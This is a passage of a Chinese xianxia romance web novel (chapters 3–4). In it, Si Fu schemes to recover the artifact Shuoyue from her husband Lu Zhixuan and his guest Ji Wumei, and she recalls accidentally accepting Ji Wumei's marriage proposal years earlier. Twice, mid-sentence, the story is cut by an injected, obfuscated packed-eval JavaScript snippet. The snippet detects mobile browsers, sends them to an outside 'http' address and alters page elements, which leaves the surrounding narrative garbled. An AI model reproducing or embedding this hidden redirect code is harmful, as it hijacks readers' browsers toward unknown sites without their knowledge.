《如何摆脱黑化反派》 3. 春拂梨花故人来 姒芙脑子霎时乱成了浆糊。 当年她对着寂无寐谎话连篇,一堆鬼话里,怎么就不记得有这回事? 寂无寐仍盯着她,目光平平静静,可姒芙莫名感觉到了危险。 她一个醒神,解释的话福至心灵,忙道:“我背着家族婚约,当年在冒儿山也是为了躲避婚约,我……并不愿成婚的。”随即期期艾艾委屈道:“姒家强势,又怎会在乎我的意愿?我……我也曾反抗过,可他们执意让我联姻,将我硬生生绑上了婚车。你也知道,我这个人修为不济,便是拼死抵抗也无用。” “原是受家族逼迫。”他神色一瞬间柔软,轻声叹息,似遗憾又似无奈。 姒芙见状赶忙连连点头,噙着泪望向他的模样,着实有几分可怜。 他微微凑近,静静凝视着她,“所以……你是姒家长女姒芙,并非散修阿芙。”不是疑问,而是陈述。 姒芙正哭得入戏,没仔细分辨他话中语气,还在自顾解释着,“在外游历,难免需要隐藏身份,我并非有意欺瞒你。” “这样啊,所以我寻了两年没有线索,原来是我找错了方向,只因阿芙骗了我。” 不是质问,却比质问更令人害怕。 姒芙哭声一滞,眼前这张脸越靠越近,可从他眼中感受不到丝毫旖旎暧昧,平静寻常的目光,更令她心中惴惴,立马道:“我……我一直没找到机会告知你真相,怕你……”眼儿一转,忽而哀戚起来:“我怕你嫌弃我。” 不待寂无寐开口,姒芙哭得真真切切,自艾自怨,“中州谁人不知,声名显赫的姒家天才成了个修为尽失的废物,受尽白眼,以前人人提起‘姒芙’这个名字,都是赞誉有加,可自我没了修为以后,世人再看我,好心些的唏嘘感慨,坏一些的便是冷嘲热讽,眼里可有半分当我是个正经修士?我一生顺遂,自命清高,何曾经历过如此挫折,又怎忍受得住?” 话里真真假假,遭遇是真,自怨是假,可她就怕说得不够火候,末了还问一句:“寂无寐,你能体会我的心情吗?” 眼泪要擦不擦的,模样甚是我见犹怜。 眼下传来一片温热,柔软的指尖缓缓拂去她的泪水,再一抬眼,寂无寐神色和煦,似有疼惜:“姒芙,莫哭。” 他如此一说,姒芙眼泪掉的更凶了,头顶传来一身轻叹,他坐起身,将人轻轻柔柔一抱,拍着她的脊背,柔声哄道:“你我好不容易重逢,便将你吓成这样,是我不对。你这一哭倒叫我手足无措,别哭了,可好?” 姒芙将眼泪一股脑擦在他华贵的衣料上。 不哭怎么行,不哭怎么糊弄得过去? 她怕啊,她怕寂无寐啊! 身前这个人虽然好骗,相处三年,他对她向来有求必应,可她却从未看清过他。 再说了,他出现得未免太过突然,是阴差阳错还是有意为之?一切怎么就这么凑巧? 姒芙边哭边想着对策,心里转过无数的道道,借着拥抱的姿势手贴上他胸膛挪向衣襟,小指尖已触上藏在衣襟内的塑月一角,紧抱着她的人忽而贴在耳边,意味不明道了一句:“姒芙,当年用在我身上的那些疗伤手段,你对自己试过吗?” 姒芙心口猛然一缩,抬头看向他,他笑容晏晏,目光澄澈,好似只是随口一问。 姒芙灵光的脑袋顿时停滞,他这是什么意思?囫囵应付道:“试过,可修者体质各异,于你有用的,对我却无效……” 她怎么忘了这一出!当年她骗寂无寐是个与修炼无缘的散修,揣了家中族产避世冒儿山,而今寂无寐知晓了她的身份,会不会有所怀疑? 忽而院中响起一声冲天高喝,“你们在做什么!?” 姒芙被吼得一个激灵,回头一瞧,就见外出归来的陆之轩正站在院门口,怒气冲冲瞪着她们。 姒芙此时才发觉人还窝在寂无寐怀里,他圈着她,额头几乎紧密相贴,姒芙下意识将人一推,弹起身,陆之轩已两步奔来,指着她诘问:“你怎么会在这里?你们……你们这是在做什么?” 姒芙面色一整,唬人的话想也不想脱口而出,“不小心摔着了,这位郎君扶了妾身一把。” 悠悠然起身的寂无寐一顿,他望着姒芙,平静坐回竹躺椅。 姒芙顿时如芒在背。 方才她二人举止……是有些亲昵,但也不是不能糊弄。 “扶一把?扶到他人怀里?这便是你的扶一把?”陆之轩狠狠攥住她的手腕,眼神似刀子,要剜了她一般。 姒芙甩手挣开,又气又闷,她一个下山捉奸的,怎么莫名其妙就成了被捉奸的那一个? “夫君以为是什么?莫非妾身有胆子招惹夫君的人?” 陆之轩一噎,“可若是摔了一跤,怎么会抱一起,你莫不是……” 姒芙无奈笑道:“夫君,这是你的院子,这位是你的……贵客,我向来不管夫君之事,你这怀疑好没道理。” 陆之轩还待质问,突然瞥见寂无寐怀中露出半块月牙形玉石,瞬间醒悟过来什么,脸上闪过一丝被捉现行的尴尬,很快又恢复那混不吝的模样,“你有没有胆子我不知,但你故意接近寂公子,是想趁机偷回塑月?” 姒芙赶忙顺着转移话题:“偷?夫君怎把我想得如此不堪,妾身是因为婆母听见风声,派我来……看一看情况,顺道再看看塑月是否被带来此处。” 陆之轩不信,气道:“你从来不管我,怎么可能母亲吩咐一句你就下山,”他指着寂无寐缓缓掏出的塑月,笃定道:“你就是为塑月来的!” 一说到此事姒芙就来气,加之陆之轩这不饶人的态度,更让人生气,于是板起脸问:“你不告而取是为偷,偷了我的东西,怎还如此理直气壮?” 陆之轩顿时红了脸,很快仰着脖子反驳道:“不过是借你东西一用,事态紧急,待塑月为寂公子将养好身子我便还回来,你也不必如此大张旗鼓下山。”他看了一眼寂无寐,随即又义正言辞道:“你有什么手段冲我来,不要为难寂公子。” 那回护之意,张扬又大义凛然。 姒芙还想再论,却听身侧的寂无寐突然捂着嘴咳了起来,陆之轩如临大敌,方才那愤怒的脸色陡然一转,变得温驯亲切,他轻拍着寂无寐背脊,声音柔得能化水,“寂公子,可是被吓着了?你还未大好,怎么独自在院子里吹冷风?” 寂无寐咳声一顿,不着痕迹避开陆之轩的手,“屋内无聊,便想着出来赏花。” “赏花?赏花好,我这宅子景色不错,你多看看心情也好。”寂无寐说什么,陆之轩便应什么,与方才大叫大骂的无赖判若两人,简直叫人没眼看。 陆之轩说着要脱下外袍披在他身上,寂无寐却在此时抬眼看向姒芙,话却是对陆之轩说的,“你偷拿了芙儿的东西,怎能再怪罪她?于理不合。”说着就要将塑月递还给姒芙。 姒芙手伸了半道,又眼睁睁看着陆之轩一把摁回寂无寐手中的塑月,姒芙见他掌心轻覆在寂无寐手背,若有似无地流连了两番。 陆之轩无视姒芙,硬声道:“塑月如今对你有用,你体内还残留着妖气,最需要塑月排除杂质,此事你莫管。” 寂无寐为难道:“可是芙儿……” “不用理她,我会处理。”突然陆之轩好似反应过来什么,皱眉看向寂无寐,“芙儿?你与姒芙认识?” 姒芙心口一凛,断然道:“不认识。” 两人目光皆向她射来,姒芙立马换了个脸色,紧捏着帕子,无所适从道:“母命难为,妾身今日是第一次见到寂公子,好在寂公子为人和善,不小心与寂公子多聊了两句,且还未计较芙儿的唐突之举。” 话说一半便看向寂无寐,寂无寐回视她,似有所悟,嘴角缓缓勾起,笑容温柔如初。 却瞧着有些不大对劲。 然而仅仅一个瞬间,他又垂下眼,面色藏在阴影中,片刻才跟着念了一句:“我与……姒家小姐今日相见,相谈甚欢,不小心就喊得亲近了一些,是寂某失礼了。” 见他有几分索然无味,陆之轩脑子抛到了云天外,赶忙安慰:“是我太过繁忙,忽略了寂公子,把你独自冷落在这。往后你若是无聊,我多陪你赏花饮茶便是。” 寂无寐未应,捂嘴又咳了两声,一个弱不禁风病美人的虚弱之态,陆之轩极尽关切,又是柔声询问,又是轻拍顺气,“上下其手”。 这借着关心与人亲近的模样,姒芙都不忍心继续看下去。 寂无寐不耐烦陆之轩的过分关心,缓缓站起身,仿佛一瞬间抽干了精气神,背对着二人,“既然是误会,解释清楚便好,寂某忽感疲累先回房歇息了,二位请自便。” 话方落下,人踩着花浪就进了屋。姒芙眼睁睁看着他关上了房门,将两人隔绝在外。 姒芙想要讨回塑月的话,随着门扉“啪嗒”合上,硬生生给堵在了喉咙口。 那塑月,还攥在他手上呢! 陆之轩这个成事不足败事有余的家伙! “妾身的塑月……” 陆之轩又换回那副愤懑神色,厉声打断:“你真是多事!打扰寂公子养伤,赶紧给我滚回宗里去!” 真是恶人先告状!若不是陆之轩这个傻子,她早就趁机拿回了塑月。 眼见此番讨回塑月无果,姒芙转身就走。 陆之轩跟了上来,一路骂骂咧咧,指责姒芙多管闲事,言语碎得比树上鸣叫的一群小雀还烦人。 房门内,病弱的寂无寐百无聊赖靠在窗边,手中把玩着月牙型玉石,看着窗外两人渐行渐远的身影,缓缓贴在唇畔,原本黯然的脸上,一片玩味。 这厢,姒芙上了鹿车,陆之轩也跟了上来,他一路上念叨个没完,到了车上也不肯消停。 一会说她不懂事唐突了他人,一会又怪她小气,不过是借法宝一用,竟让她亲自跑下山讨要。 姒芙被他嗡嗡的话语吵得头昏脑涨,一捂帕子,好似受不住一般,哭哭啼啼起来,等到陆之轩说累了,才抽泣道:“陆之轩,你要什么我都可以给你,唯独塑月不行!” “为何塑月不行?那东西对你无用,你为什么藏着不肯借我?” 姒芙拿着鸡毛当令箭:“你娘亲让我用塑月养身子,况且她已经盯上这处,你若是将塑月拿回来,我还能为你遮掩一二,如若你执意不肯,待你娘亲出手,夫君又如何护得住这位‘好友’?” 陆之轩愤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244793|197838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒的神色一顿,他自小好男风,离经叛道不服管束,门主夫妇拿他没有办法,他自是不怕,可若闹到门主跟前,只怕会迁怒寂无寐。 方才观陆之轩待寂无寐跟眼珠子似的,姒芙不信他不在意寂无寐的安危。 果然,陆之轩眼珠提溜一转,凑近姒芙两分,姒芙不着痕迹向后避开,就听陆之轩换了语气,好声好气道:“姒芙,你不是一直在找水妖龙的龙筋吗?” 姒芙扯着大氅的手一顿,抬目看去,陆之轩又成了个人嫌狗憎的讨好模样,“我前段时日无意间打听到水妖龙的下落,它如今藏在西极山里。” 姒芙眨了眨眼,眼泪终于停了下来。见她来了兴趣,陆之轩话赶话道:“我派人帮你拿水妖龙的龙筋,与你交换,你将塑月借我一段时日,只要寂公子养好了伤,我便还你。” 姒芙心思转了一轮,小声问:“夫君可立心魔誓?” 陆之轩就要反驳,姒芙搅着手中帕,苦恼道:“婆母还等着妾身回去复命。” “当然可以!”陆之轩话锋一转,立马答应,伸出两指开始立誓,待誓言立定,姒芙才含蓄一笑:“夫君立了誓,妾身信夫君不会食言,便出借塑月一段时日。” 口中说着相信,心里却暗暗计划着如何掩人耳目将塑月弄回来,她只说借用一段时日,没说用塑月治好寂无寐的伤,一两日也算一段时日。 待她悄无声息拿回塑月,还能白得一根水妖龙筋,怎么算都不亏。 见她答应,陆之轩顿时喜上眉梢。看着他那喜不自胜的样子,姒芙佯装不经意问:“夫君与寂公子是如何相识的?” 陆之轩解决了一桩麻烦,心情尚可,对于姒芙的疑问也有问必答。 半月前,玄善门辖地附近一处山头有妖作乱,陆之轩此时正领着人除妖,不想被妖算计,恰巧寂无寐路过出手相救,却被妖所伤。 寂无寐本就有旧疾,羸弱的身子伤上加伤,陆之轩说要报答他的救命之恩,要为他养伤,于是将人送到此处。 谁知住下不过半月,城中竟将他传成了陆之轩新收的外室。 听闻是一场误会,姒芙心却吊在半空中,一切……是不是有些太过凑巧了?怎就偏偏碰上的是陆之轩,她的夫君? 姒芙眉眼不抬,羡慕道:“夫君待恩人真是尽心尽力,原来是他人误会了夫君与寂公子的关系,寂公子有夫君这名奔走之友,真是幸运。” “自……自然,救命之恩自当倾力相报。”陆之轩言之凿凿,可姒芙没错过他眼底一闪而过的算计。 是了,寂无寐那清雅出尘的模样,跟他南风馆那帮烟视媚行的小相好可不一样,如今被陆之轩撞上,怎可能轻易放手? 麻烦,这两人碰在一起,只怕会惹来不少麻烦。 回想起方才别院一遭,姒芙有些头疼。 她骗寂无寐,可不只是今儿这一回了,抑或说,她与寂无寐相处三年有余,就没有几句真话…… 当年她在妖界无意中见到只剩一口气寂无寐,彼时他经脉尽断,修为尽毁,与没了修为的她如出一辙。 那会她废掉的修为,药石罔顾,是真的无力回天。 于是她将他从尸堆里刨了出来,带去暂避的冒儿山。她骗他是个散修,为他疗伤治病,实则是在他身上研究经脉恢复之法。 身为曾经中州闻名遐迩的器阵双修天才,所研制的阵中器将威力最强的阵与器相结合,把即将被挤出四大世家之列的姒家重新拉回云巅,然而她这个大功臣一朝跌入泥潭,受尽冷嘲热讽。世态炎凉,人情冷暖不过如此,姒芙并没有多加怨怼。 她的天才之名从不是虚名,除开一双笨手画不准符箓,于是在寂无寐身上,阵、器、丹全结合在一起,为他续接经脉。 治病的过程极其痛苦,痛苦的是寂无寐,为了不惹寂无寐怀疑,她悉心照顾,又哄又骗,身上所有的物资不要钱似的往他身上砸,他才信了她那堆鬼话。 好在日益有了起色。 当时给寂无寐所用的器,便是塑月。 姒芙霎时醍醐灌顶,难怪寂无寐见到她没有太过惊讶,原来早在陆之轩送去塑月时,他就猜到了她的身份! 塑月是她娘亲云罗夫人的嫁妆,娘亲与父亲和离时留给了她,本身只对凡人有效,可经她不断改造后,塑月渐渐可被修士所用。 姒芙顿时有些坐立不安。 当年她对他别有用心,极尽哄骗,掩饰的很好,可是两年已过,如今呢?寂无寐突然出现,出现得这么凑巧,他有没有猜到她那些小心思?又咂摸出多少? 况且,冒儿山那三年经历,姒芙不愿被他人知晓,否则不会对寂无寐隐瞒身份…… 不行,她得想办法,早些把寂无寐送走。 寂无寐是个隐患,玄善门如今跟姒家交往甚密,不能将人留在他们眼皮子底下。 姒芙回想着冒儿山的经历,突然一段模糊的记忆从脑中飞过,把玩车窗穗子的手一抖,险些失态。 耳边陆之轩已经消停,靠着车座闭目养神,姒芙透过纱帘望向山间出双入对的飞鸟,惊骇回想起那段混乱的记忆。 她……好像真不小心答应过寂无寐的求亲。 4.春拂梨花故人来 那一夜,姒芙刚从山下归来,心情郁卒,手中提着为寂无寐治伤的药材,还有几坛烈酒。 高高的冒儿山上只住着他们二人,她垂着头,踩着月光,步履缓慢走向林中小茅屋。 彼时的寂无寐已能勉强下地,靠坐在小茅屋门边,赏着月色。 可那一夜浓云密布,有什么月亮可赏? 他这个人,看似温温润润一副好说话的样子,平日说什么便应什么,就是这有求必应的模样,姒芙总捉摸不透他的真实心思。 就如这般,连等她归家都要藏着掖着。 加上他一双眼,情绪轻轻柔柔虚无缥缈,悬浮着惑人的欺骗性,常人见了总觉得安心。 许是被他病弱的表象所惑,向来不与他人交心的姒芙,鬼使神差的,拉着寂无寐喝起了酒。 主要是她饮酒,寂无寐当个听众。 她委实不擅长交心,待酒喝了三四坛才遮遮掩掩说到重点。 此番下山,她收到一个风声,她的亲生娘亲——云罗夫人又闹和离了。 算下来,这已经是她娘亲第三任夫婿,若是和离成功,以她娘亲的性格,只怕很快会补上第四任夫君。 她不怨她娘,娘亲并非他人口中水性杨花之人,并且当年她的亲爹不当人,在云罗夫人怀胎之时与人苟且。娘亲和离是好事。 可到嘴的话却是问寂无寐,都已经成了斩妖除魔的修士,有了绵长寿命,为何却要拘泥于婚姻? 当时她背着玄善门的婚约,对于成婚之事极其抗拒。 由着这份烦恼,她问:“家族联姻?绵延子嗣?所以就要被另外一名男子束缚住一生,从而放弃大道?” 全程都在开解她的寂无寐当时说了一句什么来着? 哦,是了。他说,有些人,未成婚,也会被另一人束缚住一生。 那是唯一一句让她更郁结难消之言。 她恨束缚。 于是她反问:“那你会被一人牵绊住吗?” 他眼眸在月光下好似闪过一片墨绿的光,神色柔和凝视着她,口中字字铿锵:“永远不会。” 她莫名的开心,因为寂无寐跟她是同道中人,又听寂无寐低声道:“可是阿芙,我已时日无多,不敢肖想此事。” 三年来,寂无寐承受着非人的痛苦,时而好时而坏,一次又一次的折磨好像磨灭了他的希望。 可姒芙不能不抱希望,他是她恢复的唯一寄托啊!借着酒劲,她板着脸道:“怎不敢想,待我治好你,便为你寻个妻。” 寂无寐好似笑了笑,问:“你要为我寻个什么样的女子?” 姒芙想了一轮,只觉世上没有比她更出色的天才,于是指着自己醉醺醺道:“像我一样优秀的人。” 由着她这句话,寂无寐今夜的笑容尤其多,姒芙心情好转,于是那酒又多饮了几坛,甚至忘了寂无寐身体未愈,借着酒劲还灌了他半坛。 谁知第二日醒来,两人同在一张榻上,衣衫凌乱。她吓得手足无措,又委实想不起当夜发生了什么,身边的寂无寐衣衫大敞,莹白的肌肤上缀满了引人遐想的痕迹,好似被人强硬凌虐过一番。 他面色潮红,眼波含水,像个破碎的琉璃。 她吓得起身就跑,却听寂无寐虚弱道:“阿芙,我体内经脉好似裂开了。” 她逃跑的脚步一顿,忙回身查看伤势,指尖搭在他的脉上,耳边寂无寐又道:“你昨夜喝的有些多。” 她心虚,含含糊糊应了一声。 “你力气有些大。” 她点头,她认。 “止疼的药用完了,我疼了整整一夜。” “好,我再熬一些。” “记得,别熬得太甜。” “好。” “姒芙,我会负责。” “好。” 她一怔,猛然看向寂无寐,那一句话极轻,轻得宛如风中飘荡的柳絮。 她以为自己听错了,却见他勾唇笑了笑,那笑容太深,她分辨不出笑中含义。 “你应了。” “应什么?你刚说了什么?”姒芙不敢置信,不确定自己是否真的听清。 而寂无寐却未回应,病痛直接让他陷入昏迷…… 前一秒寂无寐还信誓旦旦说永远不会为一人牵绊,后脚就说要娶她为妻?她不信,寂无寐不是这等朝令夕改的人。 所以她从未将那句话当回事,只当自己听错了。 可如今重逢,他再次提起,姒芙懵然不解。 当年他莫非还真想过要娶她? 姒芙顿时抓心挠肝得难受,冒儿山那三年,她对寂无寐的悉心照顾体贴入微都是别有用心,本就是虚情假意,如今还多了个“背信弃义”? 回想起这段荒诞往事,又联想别院中寂无寐那一声质问,她哪里还敢再见寂无寐,此番被陆之轩打断,寂无寐未跟她深究,可若再次见面呢?他抓着此事不放可如何是好?况且她现在是陆之轩的妻子…… 这塑月,她不能再亲自去取,得想其他办法。 一连五日,姒芙躲在玄善门里,绞尽脑汁想着该怎么拿回塑月,陆之轩已经跟她立了心魔誓,她不好再利用陆之轩,又不便明着讨要。早知如此,当时不答应他便好了,如今想找个能接近寂无寐的人都找不着。 姒芙倚窗望着萧条的春景正暗自苦恼,忽听院外一阵响动,一个眨眼,就见陆之轩风风火火地闯了进来。 见他那神情就知没有什么好事,姒芙伸手关窗,一柄折扇蓦地插了进来。 “姒芙。” 语调微扬,一听就是有求于她。姒芙只好将窗重新打开,柔声问:“夫君有何吩咐?” 陆之轩打量着她,似在看她全身上下有什么与众不同。片刻,听他缓缓开口:“当日我忘了问你,你在别院,与寂公子说了些什么啊?” 当日?当日陆之轩发现她跟寂无寐靠在一处,因为塑月忘了追究,都过了这么些天怎么突然又想起来了? “夫君怎会突然提起此事?”姒芙不知陆之轩抽什么风,只好先反问一句。 陆之轩将窗户开大一些,方便说话,“寂公子说,他那日不小心唐突了你,害你摔伤,想与你道歉。” 姒芙等着他的诘问,推脱之词都想好了,谁知陆之轩先听信了寂无寐的话。陆之轩又蹦出一句:“近日寂公子心情郁卒,伤势有复发的迹象,可我跟他说十句,他未必回我一句。我看寂公子好似对你印象不错,你不若帮我开解他一番?” 姒芙像看傻子似的看着陆之轩,寂无寐对他避之不及,多半是察觉到他的小心思,陆之轩这个蠢驴一样的脑袋,还妄想让她去帮忙安抚他的倾慕之人? 她是什么身份?若真去了,怎么死出来的都不知道! “夫君怕是多心了,妾身不善言辞,哪有那般能耐。”姒芙拒绝得很干脆。 “诶诶,别关窗,我只是让你跟他说说话,说不定寂公子心情一好,待我态度就变了呢?” 似料到她不肯配合,陆之轩又道:“城中明光楼近日新上了几道珍馐,我已知会母亲,亲自领你去尝一尝,你顺道再帮我开解寂公子一番,如何?” 陆之轩这个成事不足败事有余的家伙,竟然先斩后奏,跑到门主夫人面前求了母命! 可想门主夫人听到这番话会有多高兴,陆之轩从未约她游玩,只怕还以为陆之轩受人点拨转了性子。 他到底是真傻?还是故意的? 看着陆之轩得逞的笑容,姒芙忽然心中作警,他总不会自个儿咂摸出什么吧? 陆之轩态度强硬,若再三推拒,未免显得可疑。 想到此处,姒芙只能委委屈屈勉强道:“既是婆母之命,那妾身……只好从命。” 就这样,姒芙被陆之轩压上了鹿车。 领着自家夫人见外室,还拿娘亲做令箭,到底是什么样的绝世蠢货才能想出来这种昏招? 姒芙心中腹诽,脸上还要继续应付陆之轩的再次询问,囫囵道:“就过问了几句他是什么人,从何而来,为何会与你相识,再无其他。” “哦?”陆之轩凑了过来,“若如此简单,那为何他提及你时,言语间有遗憾又有赞赏?也只有提起你时,他才肯与我多说两句话。” 姒芙怔了怔,随即黯然道:“也许他也曾听过我的经历,有些感慨而已。” 陆之轩闻言,快锈蚀的脑子难得转了转,忽而一抚掌高兴道:“若是如此,那你更应该与寂公子多见见,你们聊的投机,往后他待我态度也能热络些。” 姒芙翻了一半的白眼蓦地停住,侧目认真看向陆之轩。 陆之轩笑得痴痴傻傻,看着她的目光仿佛她是一个稀奇的宝贝。姒芙默了默,随即捏着帕子往眼角上摁,悲愤道:“夫君真是无情又无心,竟提这等荒谬的要求。” 陆之轩笑得不为所动,嘴角都未颤一下,姒芙依旧在哭诉:“可怜妾身无依无靠,夫君有所求,妾身又怎能拒绝?” 一时间,车厢内哭的哭,笑的笑,互不干涉,气氛诡异得离谱。 然而这两个人好似毫无所觉,各自卖力扮演着自己的角色。 …… 马车停在别院门口,姒芙屁股黏在车座上,百般不愿,陆之轩也未动。 车外传来响动,陆之轩突然弹了起来,掀开车帘,就见寂无寐在门童搀扶下,颤颤巍巍上了鹿车。 陆之轩伸手去扶,在触碰上的那一刻,姒芙明显瞧见寂无寐顿了顿,可挂在嘴角的淡笑不见异样,姒芙甚至以为是自己看错了。 “姒姑娘,好久不见。” 他用的闺阁女子称呼,旁边的陆之轩毫不在意,一心搀扶着他,不知有意还是无意,寂无寐顺势坐在她身边。 陆之轩本想贴过去,无奈中间没有挤进来的位置。 寂无寐轻拍了下他的手臂,以示感谢,陆之轩瞬间像只得了甜头的小狗,高高兴兴坐回与他相对的座位。 姒芙微微颔首回应,“寂公子有礼。”脸上是世家之女标准的笑容,不过分亲切也不过分疏离,无懈可击。 鹿车再次启动,陆之轩看着对面寂无寐与姒芙并排而坐却默不作声,于是开口打破沉默,“寂公子,听小童儿禀报昨日你犯了旧疾,今日出门可否勉强?” 寂无寐清清淡淡笑答:“不勉强,已好了许多。”陆之轩放下心来,一时又不知该启什么话题,就听寂无寐难得又道了一句:“更何况少主与……少主夫人相邀,寂某怎能失约?” 姒芙浑身一僵,那“少主夫人”四个字怎么听怎么刺耳。 她忍住侧目打探的冲动,目不斜视平声回道:“寂公子无需多礼,一餐饭而已,寂公子若是想去,随时都可以,不急于这一日。” 耳边有人轻轻笑了一声,“那日不小心撞伤姒姑娘,是寂某的不是,寂某给姒姑娘赔个不是。” 他略略行了个礼,端的是知礼君子的礼数,手臂抬起双手抱拳,却从她整个左臂一路擦过,礼一毕,两人肩头已靠在一处。 灼热的温度漫过半边身子,车厢狭小避无可避,姒芙笑容几乎快维持不住,只好略一点头,当做收了他的赔礼。 一股清风自车帘缝隙而过,带来一阵混着甜药味的竹叶香,姒芙怔了一瞬,这曾是她最熟悉的味道。 见寂无寐果然话变多了,陆之轩顿时觉得自己安排得甚好,于是天南海北浑扯起来,寂无寐间或有意无意应上两声,陆之轩更来了劲。 姒芙只觉这两头拉车的白鹿忒慢了些,就不能换几匹像样的骏马吗?更何况寂无寐虽在端坐,随着车厢摇晃,他衣袂下的手肘有意无意触碰到她的,那轻若无物的温度,烧得她心头莫名的慌。 短短的路程,难熬得紧。 陆之轩又扯到临城出色的美酒,正要相邀时,马车一停,几人终于抵达明光楼。 一路呱噪的陆之轩收了声,率先跳下,伸手要扶寂无寐,突然姒芙忽觉手臂一暖,一侧头,寂无寐淡雅的笑映入眼帘,“少主夫人,请。” 他搀着姒芙,明明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254830|197838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有礼有节的轻托之举,姒芙却觉得整个人好似都被他钳住一般。 她神色木然,在陆之轩困惑的目光下麻木地迈下鹿车。陆之轩的手还僵在半空中,寂无寐好似刚刚才发现他,歉然一笑:“是寂某疏忽,多谢陆公子体贴。” 好似只要寂无寐纡尊降贵跟陆之轩说话,无论说的是什么,陆之轩这个傻缺都不过脑,当即笑呵呵道:“举手之劳,举手之劳。” 姒芙在旁看得啧啧称奇,不知寂无寐是有心还是无意,四两拨千斤般轻易拿捏住她夫妻二人。思忖间,斜里突然插进一声阴阳怪气,打破三人诡异的气氛。 “哟,这不是玄善门少门主吗?” 姒芙循声望去,明光楼前站了几名华冠丽服的青年男子,声音自中间那人发出,似是这一众的领头之人。 姒芙觑了两眼,有些眼熟,直到陆之轩懒懒出声:“我道是谁,原来是张家小子。” 由着这一句话,姒芙认出此人身份。张家乃玄善门管辖地界里最有钱的凡人家族,而这个张家小子张皓在家中年岁最小,极得宠爱,且向来与陆之轩不对付,加上张家年年给玄善门上缴的供奉最多,私仇公仇,以至于两人一见面就势同水火。 听闻张皓年前得了大机缘,入了中州三大宗之一青冥宗某位修士的眼,年后便要入宗修行,得了天大的福运,他对陆之轩这个“废物”的鄙视只怕更加肆无忌惮。 果然,那张皓在陆之轩与寂无寐之间扫了两眼,下巴点着寂无寐,“这位公子眼生得紧,难道是陆少主新收的那名外室?的确长得……秀色可餐。” 此话一出,讥笑声一片,周围人听见热闹皆瞧了过来,陆之轩昏庸的大名如雷贯耳,发现他身边的寂无寐,顿时了然。 无数目光落在寂无寐身上,鄙夷的怜悯的嘲讽的,纷纷杂杂,没有一个是善意的。 姒芙忽觉身边袭来一阵冷意,侧眼一瞧,寂无寐依旧挂着温和的笑意,可手下扶着的车辕无声无息变了形。 陆之轩没有否认也没有解释,只拿眼觑着张皓,目露不屑。 张皓一转眼又瞧见后头的姒芙,蓦地大笑出声,“少门主真是好福气啊,竟然带着娇妻与外室同来明光楼饮酒,当真是艳福不浅!” 话毕,众人哈哈大笑起来。 陆之轩浑,且浑得厚颜无耻,对于张皓的嘲讽无动于衷,还反讥了一句:“若贤弟也羡慕这齐人之福,改日陆某物色几名美人,送去张府。”嫌不够似的,又恍然道:“唉呀,你爹近日新纳了两房妾室,那姿色在陆某看来实在乏善可陈,陆某怎能厚此薄彼?再送几名东陵的美人给张老爷,如此你们父子同乐,那才是真正的‘齐人之福’。” 张皓闻言脸色一变,怒道:“陆之轩!”张皓最恨的便是自己亲爹沉迷美色,家里一堆姬妾闹得家宅不宁,每每提起都觉得丢脸。他知道陆之轩是个没脸没皮的,谁想会言语无忌成这个样子! 口中吼着,卷着袖子就冲了过来,陆之轩抱臂而视,张皓若要跟他打,就他那点子修为,在他眼里都不够看。 “张少张少,莫要动手。”那张皓冲到半路被身后簇拥拦住,一个个死命相劝。 张皓与陆之轩向来是口角之争,因为打不过陆之轩,可又实在气不过。 平日里仗着张家每年上缴的奉银,张皓没少埋汰陆之轩,然而大部分交锋都处于下风,越是这样,他越是不甘。如今马上要入宗门修行,以为挂了个青冥宗弟子的身份,会有所忌惮,谁想陆之轩依旧不将他放在眼里。 他越想越气,瞥见他身后的姒芙,突然眼儿一眨语调一变,“姒姑娘,整个中州皆知这陆之轩最爱兔儿爷,你独守空闺两载,不若早些与他和离。”看向陆之轩,面露挑衅:“毕竟,我等正经男子,才会将你当成个真真正正的妻。” 话一出口,周围人顿悟语中的讽意,跟着哄笑起来。 陆之轩微一皱眉,有些不快,却没有为姒芙出头的打算。 这家伙,会出言维护寂无寐,可没拿姒芙当自己人。 姒芙原本在看戏,一听矛头莫名落在自己身上,看向张皓。 姒芙骤然想起来,她为何会对张皓这个人有印象了。每年年底大庆,玄善门境内所有缴纳上供的世家大族皆要来宗同贺,也就是去年,张皓跟他那快被掏空身子的老爹一同前来。 张皓与陆之轩倒是没在宴上闹出什么矛盾,只是宴中张皓饮多了酒,不知怎么在后院里撞见了她,借着酒劲言语轻佻举止轻狂,当时也是让她改嫁去他张家。 她没理会,直接派人将他丢了出去,“不小心”摔断了他两根肋骨。事后张家反而恶人先告状,婆母得知消息反而训斥她不安分,狐媚表相招惹外男觊觎。因着这句话,她跟婆母打了几日擂台,使计烧毁了一本上供的账册,累得婆母半个多月都没合眼。 事后,倒是把张家这个始作俑者给忘了。 姒芙眼睑一耷拉,半凝出一副我见犹怜的哀怨,质问陆之轩:“人都骑到你头上了,你就这般看着?” 陆之轩侧目看她,“那你想让我怎么做?上回你将人摔伤,我也受了一顿无妄之灾,被父亲好一通骂。” 张皓与陆之轩之间闹归闹,可张家作为玄善门最大的金主,陆之轩也不敢真拿他怎么样。 姒芙擦着眼角,置气般道:“夫君如此无情,袖手旁观,早知你是这种人,年底我还不如应了张小公子所求,改嫁于他。” 此话一出,张皓眼睛倏地一亮,“姒姑娘这是想通了?” 